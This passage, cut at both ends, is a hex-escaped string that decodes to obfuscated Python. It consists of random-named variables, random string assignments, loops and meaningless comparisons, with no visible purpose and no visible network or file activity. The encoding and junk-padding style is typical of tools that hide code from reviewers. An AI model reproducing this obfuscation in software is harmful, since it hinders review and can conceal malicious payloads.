x4d\x73\x4f\x48\x49\x51\x74\x77\x6c\x68\x6d\x4f\x52\x6d\x78\x4a\x78\x52\x20\x65\x6c\x73\x65\x20\x27\x4e\x6f\x27\x0a\x0a\x20\x20\x20\x20\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x4d\x78\x76\x44\x47\x75\x49\x77\x43\x79\x43\x41\x6e\x6c\x41\x6b\x42\x6d\x43\x7a\x78\x41\x4e\x6b\x48\x78\x6d\x4f\x4f\x79\x50\x49\x46\x47\x55\x53\x44\x6c\x76\x77\x50\x58\x6c\x78\x47\x59\x48\x49\x68\x78\x73\x48\x48\x42\x7a\x52\x52\x42\x69\x69\x49\x51\x46\x49\x79\x78\x72\x45\x41\x49\x6f\x78\x66\x48\x53\x48\x7a\x43\x44\x4a\x68\x46\x7a\x4a\x49\x4e\x7a\x72\x45\x54\x47\x46\x68\x78\x4e\x6c\x72\x4d\x62\x72\x42\x45\x50\x45\x42\x44\x71\x53\x77\x70\x51\x4a\x45\x75\x64\x45\x65\x6d\x7a\x75\x50\x42\x75\x42\x52\x44\x48\x20\x3d\x20\x27\x4e\x42\x64\x4e\x76\x69\x4d\x76\x46\x53\x5a\x79\x42\x78\x79\x43\x59\x72\x45\x6a\x79\x6b\x57\x7a\x4d\x51\x51\x49\x46\x45\x79\x72\x52\x42\x44\x45\x46\x53\x52\x45\x73\x72\x6d\x53\x6d\x42\x79\x4a\x50\x66\x53\x55\x46\x47\x4a\x63\x47\x6f\x43\x56\x47\x75\x44\x78\x70\x76\x43\x43\x75\x79\x79\x74\x43\x41\x49\x43\x74\x51\x46\x55\x51\x6d\x44\x4f\x74\x47\x43\x76\x42\x6b\x6c\x6f\x47\x6f\x56\x73\x7a\x53\x4a\x42\x6a\x49\x79\x6d\x46\x69\x4a\x41\x53\x62\x4a\x41\x77\x74\x43\x6f\x51\x77\x49\x50\x75\x4c\x50\x6e\x73\x49\x64\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x20\x3d\x20\x27\x76\x50\x53\x49\x43\x76\x69\x65\x53\x4a\x79\x51\x54\x63\x76\x52\x53\x47\x7a\x48\x69\x48\x75\x78\x6b\x43\x53\x46\x44\x7a\x45\x50\x4e\x74\x4e\x79\x79\x43\x72\x48\x58\x76\x71\x77\x51\x49\x58\x47\x6d\x44\x47\x43\x54\x79\x4c\x4a\x72\x71\x4e\x46\x4a\x48\x46\x4f\x69\x53\x56\x4e\x44\x77\x6e\x46\x46\x54\x4f\x53\x75\x49\x73\x69\x5a\x71\x48\x66\x68\x46\x6c\x46\x75\x53\x74\x46\x79\x71\x6d\x79\x78\x42\x4e\x72\x7a\x44\x41\x45\x77\x43\x56\x4a\x41\x78\x73\x4e\x49\x78\x6c\x50\x6f\x52\x51\x76\x43\x48\x43\x41\x42\x70\x78\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x76\x51\x53\x4e\x48\x50\x4e\x47\x50\x54\x71\x74\x6d\x6c\x78\x47\x6b\x74\x49\x58\x49\x6f\x69\x52\x75\x78\x73\x41\x45\x6e\x71\x77\x49\x79\x43\x49\x51\x52\x77\x77\x7a\x48\x6d\x4e\x71\x76\x41\x52\x7a\x44\x4a\x48\x57\x73\x41\x6a\x49\x53\x71\x74\x70\x49\x41\x75\x41\x41\x41\x43\x48\x74\x73\x7a\x53\x46\x49\x48\x78\x51\x77\x50\x73\x6f\x45\x4e\x4a\x65\x6e\x47\x6f\x78\x77\x6e\x53\x43\x6e\x73\x53\x72\x4e\x79\x73\x4f\x66\x44\x6d\x4c\x77\x4a\x49\x45\x44\x7a\x6d\x46\x46\x4e\x41\x52\x4a\x43\x48\x51\x49\x4e\x74\x51\x20\x3d\x20\x27\x75\x7a\x47\x78\x67\x44\x78\x66\x41\x57\x77\x52\x53\x4f\x50\x48\x4f\x48\x47\x45\x52\x4d\x76\x79\x4c\x49\x6f\x42\x71\x75\x74\x70\x6d\x73\x4a\x73\x49\x78\x48\x41\x6d\x6d\x65\x7a\x52\x45\x50\x41\x46\x65\x41\x69\x44\x41\x54\x51\x6d\x4a\x57\x74\x77\x42\x4e\x76\x64\x53\x41\x58\x7a\x69\x58\x49\x44\x43\x44\x41\x61\x63\x45\x45\x6d\x7a\x47\x4f\x4a\x77\x68\x77\x78\x4a\x41\x4f\x46\x65\x48\x4a\x50\x79\x53\x72\x45\x74\x4a\x47\x4a\x52\x44\x45\x46\x50\x79\x74\x69\x4e\x59\x72\x69\x74\x51\x56\x53\x43\x43\x53\x6f\x75\x45\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x57\x75\x41\x57\x53\x41\x65\x47\x46\x4a\x68\x41\x76\x75\x78\x43\x65\x4a\x7a\x72\x47\x77\x50\x46\x4a\x47\x5a\x51\x72\x43\x76\x51\x53\x78\x79\x4d\x55\x48\x6a\x6d\x4a\x4f\x52\x56\x48\x46\x74\x52\x44\x41\x4a\x53\x41\x45\x66\x43\x71\x6f\x75\x4e\x75\x53\x76\x78\x54\x43\x57\x50\x72\x76\x71\x41\x52\x67\x45\x72\x45\x4a\x44\x52\x4c\x4e\x52\x52\x75\x51\x47\x42\x45\x6c\x6e\x47\x47\x44\x71\x71\x69\x7a\x54\x48\x71\x7a\x71\x77\x77\x71\x48\x7a\x77\x46\x76\x47\x4f\x78\x53\x53\x46\x43\x5a\x6a\x47\x4a\x79\x4a\x46\x65\x20\x3d\x20\x27\x6d\x56\x75\x79\x43\x7a\x41\x42\x52\x77\x42\x56\x52\x75\x4c\x45\x4d\x49\x73\x46\x54\x42\x5a\x41\x49\x79\x48\x42\x75\x77\x74\x6f\x6b\x46\x48\x48\x51\x56\x51\x76\x72\x73\x6e\x72\x72\x59\x71\x7a\x49\x52\x41\x5a\x6f\x51\x48\x4e\x46\x48\x7a\x48\x47\x4a\x7a\x44\x79\x44\x75\x61\x75\x43\x46\x46\x72\x41\x7a\x54\x47\x49\x72\x7a\x44\x45\x44\x50\x69\x50\x4e\x71\x55\x69\x51\x51\x7a\x76\x41\x76\x51\x71\x48\x7a\x6f\x74\x41\x74\x46\x50\x73\x46\x48\x76\x42\x6e\x75\x47\x44\x45\x73\x74\x54\x47\x57\x51\x6f\x47\x42\x68\x45\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x72\x79\x7a\x6d\x79\x67\x43\x54\x41\x44\x79\x43\x6f\x49\x42\x79\x50\x49\x48\x50\x50\x78\x4f\x56\x45\x53\x76\x46\x44\x43\x4a\x63\x46\x72\x77\x46\x41\x68\x41\x53\x62\x72\x77\x41\x7a\x46\x7a\x52\x43\x63\x71\x75\x79\x47\x74\x4e\x62\x43\x4b\x7a\x53\x75\x4c\x52\x52\x47\x74\x6f\x6d\x76\x57\x55\x42\x44\x44\x52\x46\x78\x4a\x54\x4e\x51\x49\x78\x46\x73\x41\x74\x73\x78\x50\x52\x53\x45\x44\x42\x69\x6e\x46\x45\x43\x75\x6f\x76\x59\x51\x46\x47\x49\x69\x51\x48\x72\x4f\x4e\x76\x46\x45\x4e\x75\x77\x44\x56\x42\x45\x51\x41\x20\x3d\x20\x27\x75\x78\x6a\x46\x44\x66\x70\x52\x77\x49\x53\x48\x47\x51\x44\x77\x55\x44\x79\x4f\x44\x46\x54\x6a\x73\x42\x43\x49\x42\x46\x47\x4f\x51\x57\x46\x51\x47\x4d\x65\x44\x49\x54\x79\x47\x47\x48\x6d\x45\x46\x49\x47\x55\x49\x48\x7a\x44\x45\x6b\x70\x77\x4f\x4a\x65\x49\x75\x76\x41\x53\x43\x50\x77\x6a\x78\x46\x4e\x4a\x75\x51\x7a\x53\x4d\x7a\x45\x53\x4c\x49\x75\x77\x45\x43\x75\x46\x50\x71\x6f\x74\x75\x72\x50\x4a\x71\x77\x41\x68\x65\x49\x4e\x67\x62\x43\x52\x79\x47\x41\x76\x6f\x45\x6f\x79\x6d\x52\x4c\x44\x53\x79\x75\x43\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x49\x7a\x6f\x44\x5a\x43\x72\x68\x51\x51\x4d\x53\x4a\x48\x47\x43\x72\x50\x73\x78\x46\x4d\x4a\x4e\x6f\x48\x54\x73\x58\x42\x4f\x42\x47\x50\x6b\x53\x77\x44\x49\x6f\x4e\x50\x54\x69\x44\x43\x78\x44\x51\x47\x74\x53\x47\x79\x49\x71\x43\x44\x79\x65\x57\x51\x57\x52\x4d\x4a\x48\x6e\x71\x7a\x6e\x7a\x77\x75\x50\x6b\x6d\x4a\x42\x71\x49\x44\x4e\x44\x6d\x6d\x56\x44\x6f\x59\x4d\x46\x4a\x44\x4d\x6c\x43\x53\x50\x47\x50\x47\x75\x52\x47\x6b\x49\x78\x73\x41\x48\x4f\x6e\x79\x48\x42\x45\x6b\x43\x76\x4a\x53\x50\x4a\x57\x74\x7a\x20\x3d\x20\x27\x44\x78\x51\x6a\x46\x4a\x70\x75\x71\x56\x44\x47\x41\x75\x42\x68\x77\x6a\x62\x6f\x50\x45\x46\x58\x4d\x56\x53\x7a\x6d\x63\x77\x49\x46\x50\x53\x4f\x6e\x42\x57\x54\x49\x41\x46\x49\x50\x44\x73\x6e\x41\x72\x43\x79\x68\x49\x49\x42\x52\x75\x79\x43\x48\x4e\x59\x74\x54\x4e\x77\x47\x6e\x61\x4f\x46\x48\x79\x50\x55\x51\x41\x78\x48\x45\x4a\x72\x78\x41\x51\x7a\x48\x69\x6f\x43\x46\x78\x69\x49\x65\x52\x42\x6e\x4c\x43\x53\x51\x47\x4f\x44\x41\x4a\x67\x6e\x54\x45\x72\x50\x72\x75\x44\x52\x6b\x42\x55\x6f\x51\x6a\x4a\x50\x4a\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6b\x49\x73\x6f\x46\x53\x52\x67\x6d\x77\x6e\x78\x45\x68\x43\x75\x41\x45\x43\x52\x6e\x58\x58\x68\x53\x53\x51\x6d\x46\x64\x63\x44\x46\x52\x71\x42\x47\x56\x54\x6f\x43\x5a\x4a\x4a\x59\x53\x46\x47\x4f\x68\x49\x69\x59\x59\x71\x79\x70\x55\x70\x79\x6e\x4c\x79\x41\x70\x48\x47\x79\x50\x55\x50\x74\x52\x44\x52\x6d\x46\x71\x78\x49\x4e\x41\x50\x69\x6d\x65\x76\x55\x74\x47\x45\x53\x45\x4c\x6e\x4d\x75\x74\x71\x79\x7a\x53\x76\x46\x66\x53\x4f\x6e\x47\x51\x73\x6d\x73\x5a\x54\x75\x48\x6d\x49\x6f\x71\x4f\x79\x45\x48\x4a\x79\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x4e\x42\x64\x4e\x76\x69\x4d\x76\x46\x53\x5a\x79\x42\x78\x79\x43\x59\x72\x45\x6a\x79\x6b\x57\x7a\x4d\x51\x51\x49\x46\x45\x79\x72\x52\x42\x44\x45\x46\x53\x52\x45\x73\x72\x6d\x53\x6d\x42\x79\x4a\x50\x66\x53\x55\x46\x47\x4a\x63\x47\x6f\x43\x56\x47\x75\x44\x78\x70\x76\x43\x43\x75\x79\x79\x74\x43\x41\x49\x43\x74\x51\x46\x55\x51\x6d\x44\x4f\x74\x47\x43\x76\x42\x6b\x6c\x6f\x47\x6f\x56\x73\x7a\x53\x4a\x42\x6a\x49\x79\x6d\x46\x69\x4a\x41\x53\x62\x4a\x41\x77\x74\x43\x6f\x51\x77\x49\x50\x75\x4c\x50\x6e\x73\x49\x64\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x75\x7a\x47\x78\x67\x44\x78\x66\x41\x57\x77\x52\x53\x4f\x50\x48\x4f\x48\x47\x45\x52\x4d\x76\x79\x4c\x49\x6f\x42\x71\x75\x74\x70\x6d\x73\x4a\x73\x49\x78\x48\x41\x6d\x6d\x65\x7a\x52\x45\x50\x41\x46\x65\x41\x69\x44\x41\x54\x51\x6d\x4a\x57\x74\x77\x42\x4e\x76\x64\x53\x41\x58\x7a\x69\x58\x49\x44\x43\x44\x41\x61\x63\x45\x45\x6d\x7a\x47\x4f\x4a\x77\x68\x77\x78\x4a\x41\x4f\x46\x65\x48\x4a\x50\x79\x53\x72\x45\x74\x4a\x47\x4a\x52\x44\x45\x46\x50\x79\x74\x69\x4e\x59\x72\x69\x74\x51\x56\x53\x43\x43\x53\x6f\x75\x45\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x75\x78\x6a\x46\x44\x66\x70\x52\x77\x49\x53\x48\x47\x51\x44\x77\x55\x44\x79\x4f\x44\x46\x54\x6a\x73\x42\x43\x49\x42\x46\x47\x4f\x51\x57\x46\x51\x47\x4d\x65\x44\x49\x54\x79\x47\x47\x48\x6d\x45\x46\x49\x47\x55\x49\x48\x7a\x44\x45\x6b\x70\x77\x4f\x4a\x65\x49\x75\x76\x41\x53\x43\x50\x77\x6a\x78\x46\x4e\x4a\x75\x51\x7a\x53\x4d\x7a\x45\x53\x4c\x49\x75\x77\x45\x43\x75\x46\x50\x71\x6f\x74\x75\x72\x50\x4a\x71\x77\x41\x68\x65\x49\x4e\x67\x62\x43\x52\x79\x47\x41\x76\x6f\x45\x6f\x79\x6d\x52\x4c\x44\x53\x79\x75\x43\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x45\x4e\x75\x41\x44\x48\x55\x77\x6d\x48\x6c\x74\x75\x68\x47\x42\x4a\x77\x6f\x55\x51\x44\x53\x71\x45\x58\x77\x51\x49\x45\x46\x70\x73\x50\x46\x74\x46\x48\x54\x76\x6e\x55\x72\x55\x75\x44\x77\x44\x42\x48\x46\x41\x4a\x42\x5a\x4d\x55\x43\x7a\x53\x76\x4a\x53\x42\x65\x78\x77\x53\x49\x73\x74\x56\x4a\x73\x53\x50\x73\x6f\x75\x69\x57\x52\x77\x4a\x71\x6f\x48\x58\x48\x45\x59\x4f\x46\x75\x58\x45\x56\x77\x48\x79\x46\x46\x66\x46\x72\x53\x50\x49\x78\x79\x61\x52\x6c\x4d\x4a\x52\x66\x77\x5a\x52\x52\x6d\x55\x7a\x42\x4e\x47\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x4d\x78\x76\x44\x47\x75\x49\x77\x43\x79\x43\x41\x6e\x6c\x41\x6b\x42\x6d\x43\x7a\x78\x41\x4e\x6b\x48\x78\x6d\x4f\x4f\x79\x50\x49\x46\x47\x55\x53\x44\x6c\x76\x77\x50\x58\x6c\x78\x47\x59\x48\x49\x68\x78\x73\x48\x48\x42\x7a\x52\x52\x42\x69\x69\x49\x51\x46\x49\x79\x78\x72\x45\x41\x49\x6f\x78\x66\x48\x53\x48\x7a\x43\x44\x4a\x68\x46\x7a\x4a\x49\x4e\x7a\x72\x45\x54\x47\x46\x68\x78\x4e\x6c\x72\x4d\x62\x72\x42\x45\x50\x45\x42\x44\x71\x53\x77\x70\x51\x4a\x45\x75\x64\x45\x65\x6d\x7a\x75\x50\x42\x75\x42\x52\x44\x48\x20\x69\x6e\x20\x49\x7a\x6f\x44\x5a\x43\x72\x68\x51\x51\x4d\x53\x4a\x48\x47\x43\x72\x50\x73\x78\x46\x4d\x4a\x4e\x6f\x48\x54\x73\x58\x42\x4f\x42\x47\x50\x6b\x53\x77\x44\x49\x6f\x4e\x50\x54\x69\x44\x43\x78\x44\x51\x47\x74\x53\x47\x79\x49\x71\x43\x44\x79\x65\x57\x51\x57\x52\x4d\x4a\x48\x6e\x71\x7a\x6e\x7a\x77\x75\x50\x6b\x6d\x4a\x42\x71\x49\x44\x4e\x44\x6d\x6d\x56\x44\x6f\x59\x4d\x46\x4a\x44\x4d\x6c\x43\x53\x50\x47\x50\x47\x75\x52\x47\x6b\x49\x78\x73\x41\x48\x4f\x6e\x79\x48\x42\x45\x6b\x43\x76\x4a\x53\x50\x4a\x57\x74\x7a\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x20\x69\x6e\x20\x6d\x76\x51\x53\x4e\x48\x50\x4e\x47\x50\x54\x71\x74\x6d\x6c\x78\x47\x6b\x74\x49\x58\x49\x6f\x69\x52\x75\x78\x73\x41\x45\x6e\x71\x77\x49\x79\x43\x49\x51\x52\x77\x77\x7a\x48\x6d\x4e\x71\x76\x41\x52\x7a\x44\x4a\x48\x57\x73\x41\x6a\x49\x53\x71\x74\x70\x49\x41\x75\x41\x41\x41\x43\x48\x74\x73\x7a\x53\x46\x49\x48\x78\x51\x77\x50\x73\x6f\x45\x4e\x4a\x65\x6e\x47\x6f\x78\x77\x6e\x53\x43\x6e\x73\x53\x72\x4e\x79\x73\x4f\x66\x44\x6d\x4c\x77\x4a\x49\x45\x44\x7a\x6d\x46\x46\x4e\x41\x52\x4a\x43\x48\x51\x49\x4e\x74\x51\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x57\x75\x41\x57\x53\x41\x65\x47\x46\x4a\x68\x41\x76\x75\x78\x43\x65\x4a\x7a\x72\x47\x77\x50\x46\x4a\x47\x5a\x51\x72\x43\x76\x51\x53\x78\x79\x4d\x55\x48\x6a\x6d\x4a\x4f\x52\x56\x48\x46\x74\x52\x44\x41\x4a\x53\x41\x45\x66\x43\x71\x6f\x75\x4e\x75\x53\x76\x78\x54\x43\x57\x50\x72\x76\x71\x41\x52\x67\x45\x72\x45\x4a\x44\x52\x4c\x4e\x52\x52\x75\x51\x47\x42\x45\x6c\x6e\x47\x47\x44\x71\x71\x69\x7a\x54\x48\x71\x7a\x71\x77\x77\x71\x48\x7a\x77\x46\x76\x47\x4f\x78\x53\x53\x46\x43\x5a\x6a\x47\x4a\x79\x4a\x46\x65\x20\x3d\x3d\x20\x72\x79\x7a\x6d\x79\x67\x43\x54\x41\x44\x79\x43\x6f\x49\x42\x79\x50\x49\x48\x50\x50\x78\x4f\x56\x45\x53\x76\x46\x44\x43\x4a\x63\x46\x72\x77\x46\x41\x68\x41\x53\x62\x72\x77\x41\x7a\x46\x7a\x52\x43\x63\x71\x75\x79\x47\x74\x4e\x62\x43\x4b\x7a\x53\x75\x4c\x52\x52\x47\x74\x6f\x6d\x76\x57\x55\x42\x44\x44\x52\x46\x78\x4a\x54\x4e\x51\x49\x78\x46\x73\x41\x74\x73\x78\x50\x52\x53\x45\x44\x42\x69\x6e\x46\x45\x43\x75\x6f\x76\x59\x51\x46\x47\x49\x69\x51\x48\x72\x4f\x4e\x76\x46\x45\x4e\x75\x77\x44\x56\x42\x45\x51\x41\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x20\x3d\x20\x4d\x78\x76\x44\x47\x75\x49\x77\x43\x79\x43\x41\x6e\x6c\x41\x6b\x42\x6d\x43\x7a\x78\x41\x4e\x6b\x48\x78\x6d\x4f\x4f\x79\x50\x49\x46\x47\x55\x53\x44\x6c\x76\x77\x50\x58\x6c\x78\x47\x59\x48\x49\x68\x78\x73\x48\x48\x42\x7a\x52\x52\x42\x69\x69\x49\x51\x46\x49\x79\x78\x72\x45\x41\x49\x6f\x78\x66\x48\x53\x48\x7a\x43\x44\x4a\x68\x46\x7a\x4a\x49\x4e\x7a\x72\x45\x54\x47\x46\x68\x78\x4e\x6c\x72\x4d\x62\x72\x42\x45\x50\x45\x42\x44\x71\x53\x77\x70\x51\x4a\x45\x75\x64\x45\x65\x6d\x7a\x75\x50\x42\x75\x42\x52\x44\x48\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x72\x79\x7a\x6d\x79\x67\x43\x54\x41\x44\x79\x43\x6f\x49\x42\x79\x50\x49\x48\x50\x50\x78\x4f\x56\x45\x53\x76\x46\x44\x43\x4a\x63\x46\x72\x77\x46\x41\x68\x41\x53\x62\x72\x77\x41\x7a\x46\x7a\x52\x43\x63\x71\x75\x79\x47\x74\x4e\x62\x43\x4b\x7a\x53\x75\x4c\x52\x52\x47\x74\x6f\x6d\x76\x57\x55\x42\x44\x44\x52\x46\x78\x4a\x54\x4e\x51\x49\x78\x46\x73\x41\x74\x73\x78\x50\x52\x53\x45\x44\x42\x69\x6e\x46\x45\x43\x75\x6f\x76\x59\x51\x46\x47\x49\x69\x51\x48\x72\x4f\x4e\x76\x46\x45\x4e\x75\x77\x44\x56\x42\x45\x51\x41\x20\x3d\x3d\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x20\x3d\x20\x49\x7a\x6f\x44\x5a\x43\x72\x68\x51\x51\x4d\x53\x4a\x48\x47\x43\x72\x50\x73\x78\x46\x4d\x4a\x4e\x6f\x48\x54\x73\x58\x42\x4f\x42\x47\x50\x6b\x53\x77\x44\x49\x6f\x4e\x50\x54\x69\x44\x43\x78\x44\x51\x47\x74\x53\x47\x79\x49\x71\x43\x44\x79\x65\x57\x51\x57\x52\x4d\x4a\x48\x6e\x71\x7a\x6e\x7a\x77\x75\x50\x6b\x6d\x4a\x42\x71\x49\x44\x4e\x44\x6d\x6d\x56\x44\x6f\x59\x4d\x46\x4a\x44\x4d\x6c\x43\x53\x50\x47\x50\x47\x75\x52\x47\x6b\x49\x78\x73\x41\x48\x4f\x6e\x79\x48\x42\x45\x6b\x43\x76\x4a\x53\x50\x4a\x57\x74\x7a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x79\x7a\x6d\x79\x67\x43\x54\x41\x44\x79\x43\x6f\x49\x42\x79\x50\x49\x48\x50\x50\x78\x4f\x56\x45\x53\x76\x46\x44\x43\x4a\x63\x46\x72\x77\x46\x41\x68\x41\x53\x62\x72\x77\x41\x7a\x46\x7a\x52\x43\x63\x71\x75\x79\x47\x74\x4e\x62\x43\x4b\x7a\x53\x75\x4c\x52\x52\x47\x74\x6f\x6d\x76\x57\x55\x42\x44\x44\x52\x46\x78\x4a\x54\x4e\x51\x49\x78\x46\x73\x41\x74\x73\x78\x50\x52\x53\x45\x44\x42\x69\x6e\x46\x45\x43\x75\x6f\x76\x59\x51\x46\x47\x49\x69\x51\x48\x72\x4f\x4e\x76\x46\x45\x4e\x75\x77\x44\x56\x42\x45\x51\x41\x20\x3d\x20\x49\x7a\x6f\x44\x5a\x43\x72\x68\x51\x51\x4d\x53\x4a\x48\x47\x43\x72\x50\x73\x78\x46\x4d\x4a\x4e\x6f\x48\x54\x73\x58\x42\x4f\x42\x47\x50\x6b\x53\x77\x44\x49\x6f\x4e\x50\x54\x69\x44\x43\x78\x44\x51\x47\x74\x53\x47\x79\x49\x71\x43\x44\x79\x65\x57\x51\x57\x52\x4d\x4a\x48\x6e\x71\x7a\x6e\x7a\x77\x75\x50\x6b\x6d\x4a\x42\x71\x49\x44\x4e\x44\x6d\x6d\x56\x44\x6f\x59\x4d\x46\x4a\x44\x4d\x6c\x43\x53\x50\x47\x50\x47\x75\x52\x47\x6b\x49\x78\x73\x41\x48\x4f\x6e\x79\x48\x42\x45\x6b\x43\x76\x4a\x53\x50\x4a\x57\x74\x7a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x20\x69\x6e\x20\x6b\x49\x73\x6f\x46\x53\x52\x67\x6d\x77\x6e\x78\x45\x68\x43\x75\x41\x45\x43\x52\x6e\x58\x58\x68\x53\x53\x51\x6d\x46\x64\x63\x44\x46\x52\x71\x42\x47\x56\x54\x6f\x43\x5a\x4a\x4a\x59\x53\x46\x47\x4f\x68\x49\x69\x59\x59\x71\x79\x70\x55\x70\x79\x6e\x4c\x79\x41\x70\x48\x47\x79\x50\x55\x50\x74\x52\x44\x52\x6d\x46\x71\x78\x49\x4e\x41\x50\x69\x6d\x65\x76\x55\x74\x47\x45\x53\x45\x4c\x6e\x4d\x75\x74\x71\x79\x7a\x53\x76\x46\x66\x53\x4f\x6e\x47\x51\x73\x6d\x73\x5a\x54\x75\x48\x6d\x49\x6f\x71\x4f\x79\x45\x48\x4a\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x76\x51\x53\x4e\x48\x50\x4e\x47\x50\x54\x71\x74\x6d\x6c\x78\x47\x6b\x74\x49\x58\x49\x6f\x69\x52\x75\x78\x73\x41\x45\x6e\x71\x77\x49\x79\x43\x49\x51\